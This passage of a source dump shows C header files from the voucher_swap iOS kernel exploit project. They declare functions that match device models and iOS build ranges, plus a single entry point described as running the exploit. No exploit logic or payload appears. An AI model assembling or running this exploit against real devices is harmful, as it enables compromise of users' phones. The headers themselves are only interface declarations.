6 | #define VOUCHER_SWAP__PLATFORM_MATCH_H_
7 |
8 | #include
9 |
10 | /*
11 | * platform_matches_device
12 | *
13 | * Description:
14 | * Check whether the current platform matches the specified device or range of devices.
15 | *
16 | * Match format:
17 | * The match string may either specify a single device glob or a range of device globs. For
18 | * example:
19 | *
20 | * "iPhone11,8" Matches only iPhone11,8
21 | * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4.
22 | * "iPhone*,*" Matches all iPhone devices.
23 | * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive.
24 | * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices.
25 | *
26 | * As a special case, "*" matches all devices.
27 | */
28 | bool platform_matches_device(const char *device_range);
29 |
30 | /*
31 | * platform_matches_build
32 | *
33 | * Description:
34 | * Check whether the current platform matches the specified build version or range of build
35 | * versions.
36 | *
37 | * Match format:
38 | * The match string may either specify a single build version or a range of build versions.
39 | * For example:
40 | *
41 | * "16C50" Matches only build 16C50.
42 | * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive.
43 | *
44 | * As a special case, either build version may be replaced with "*" to indicate a lack of
45 | * lower or upper bound:
46 | *
47 | * "*-16B92" Matches all builds up to and including 16B92.
48 | * "16C50-*" Matches build 16C50 and later.
49 | * "*" Matches all build versions.
50 | */
51 | bool platform_matches_build(const char *build_range);
52 |
53 | /*
54 | * platform_matches
55 | *
56 | * Description:
57 | * A convenience function that combines platform_matches_device() and
58 | * platform_matches_build().
59 | */
60 | bool platform_matches(const char *device_range, const char *build_range);
61 |
62 | #endif
63 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/voucher_swap.h:
--------------------------------------------------------------------------------
1 | /*
2 | * voucher_swap.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__VOUCHER_SWAP_H_
6 | #define VOUCHER_SWAP__VOUCHER_SWAP_H_
7 |
8 | /*
9 | * voucher_swap
10 | *
11 | * Description:
12 | * Run the voucher_swap exploit.
13 | */
14 | void voucher_swap(void);
15 |
16 | #endif
17 |
--------------------------------------------------------------------------------